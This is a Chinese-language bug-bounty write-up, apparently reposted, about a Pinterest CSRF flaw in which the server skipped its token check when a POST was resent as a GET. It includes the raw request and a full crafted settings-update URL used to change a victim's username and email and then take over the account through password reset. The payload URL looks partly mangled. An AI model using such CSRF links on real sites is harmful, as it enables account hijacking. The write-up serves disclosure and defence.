您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何發現Pinterest任意賬號劫持漏洞,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
下面分享的是關于美國圖片社交網站Pinterest的一個賬號劫持漏洞,漏洞原因主要在于可以構造跨站請求偽造(CSRF)攻擊,更改任意用戶的郵箱ID和用戶名,以此實現賬號劫持。對于每月有2.5億活躍用戶的Pinterest網站來說,該漏洞影響非常嚴重。本文的漏洞披露已經Pinterest官方允許,其中提及的賬戶僅為測試賬戶。
Pinterest是美國熱門的圖片社交網站,Pinterest堪稱圖片版Twitter,網民可以將感興趣的圖片在Pinterest保存,其他網友可以關注,也可以轉發圖片。
當我在瀏覽“https://www.pinterest.com”主站時,偶然發現,其中的CSRF令牌(token)通過http頭的“X-CSRFToken”進行傳輸,為了驗證CSRF令牌的應用實現機制,我在BurpSuite中構造了以下請求,來對用戶的一些設置進行更改。
POST /_ngjs/resource/UserSettingsResource/update/ HTTP/1.1Host: www.pinterest.comContent-Type: application/x-www-form-urlencodedX-CSRFToken: <CSRF Token>……..……..<POST Parameters>
首先,在以上POST請求中,我嘗試著把“X-CSRFToken”頭去掉,然后轉發出去,反饋回來的響應錯誤為:“/resource/UserSettingsResource/update/ didn’t finish after 8 seconds”,也就意味著,這種方式下,CSRF令牌可能正在被驗證。
接下來,我把POST請求改為GET請求,并且仍然去掉了”X-CSRFToken”頭,并轉發出去,這一次反饋回來的響應就是有效的“200 ok” 了。
夠明白的了,當把POST請求轉變為GET之后,CSRF令牌就不會被Pinterest服務端驗證。而且,經我測試發現,Pinterest應用的多個服務端都存在這種CSRF漏洞隱患。
由于這是一個基于CSRF的GET請求,基于Pinterest的各種服務端元素,我們要做的就是構造形同以下的一個鏈接即可,在BurpSuite中可用“change request method”選項來方便地構造。
“https://www.pinterest.com/_ngjs/resource/UserSettingsResource/update/?source_url=%2Fsettings%2F&data=%7B%22options%22%3A%7B%22impressum_url%22%3Anull%2C%22last_name%22%3A%22dummy%22%2C%22custom_gender%22%3Anull%2C%22locale%22%3A%22en-US%22%2C%22has_password%22%3Atrue%2C%22email_settings%22%3A%22Everything+%28except+emails+you%27ve+turned+off%29%22%2C%22news_settings%22%3A%22Activity+from+other+people+on+Pinterest%22%2C%22id%22%3A%22%22%2C%22is_write_banned%22%3Afalse%2C%22first_name%22%3A%22dummyuser%22%2C%22push_settings%22%3A%22Everything+%28except+push+you%27ve+turned+off%29%22%2C%22personalize_from_offsite_browsing%22%3Atrue%2C%22facebook_timeline_enabled%22%3Afalse%2C%22email_changing_to%22%3Anull%2C%22personalize_nux_from_offsite_browsing%22%3Afalse%2C%22is_tastemaker%22%3Afalse%2C%22type%22%3A%22user_settings%22%2C%22%22%2C%22website_url%22%3A%22%22%2C%22location%22%3A%22%22%2C%22%22%2C%22pfy_preference%22%3Atrue%2C%22facebook_publish_stream_enabled%22%3Afalse%2C%22email_bounced%22%3Afalse%2C%22is_partner%22%3Anull%2C%22ads_customize_from_conversion%22%3Atrue%2C%22additional_website_urls%22%3A%5B%5D%2C%22about%22%3A%22test%22%2C%22gender%22%3A%22male%22%2C%22age%22%3Anull%2C%22exclude_from_search%22%3Afalse%2C%22birthdate%22%3Anull%2C%22show_impressum%22%3Afalse%2C%22email_biz_settings%22%3A%22Everything+%28includes+announcements%2C+expert+tips%2C+creative+ideas%2C+and+more%29%22%2C%22country%22%3A%22IN%22%2C%22hide_from_news%22%3Afalse%2C%22collaborative_boards%22%3A%5B%5D%7D%2C%22context%22%3A%7B%7D%7D”
任意Pinterest用戶點擊以上鏈接之后,其用戶名和注冊郵箱會分別被更改為“dummyuser”和“anytestemail@user.com” ,當然了,anytestemail@user.com是我控制的一個合法郵箱。
以上攻擊奏效之后,我再瀏覽以下Pinterest的密碼重置鏈接:
https://www.pinterest.com/password/reset/
然后,我登錄我控制的這個anytestemail@user.com郵箱,獲取到Pinterest發送給我的用戶密碼重置鏈接,重置密碼,接下來就能用dummyuser用戶名和新密碼登錄受害者賬號,完美實現劫持。
上述就是小編為大家分享的如何發現Pinterest任意賬號劫持漏洞了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。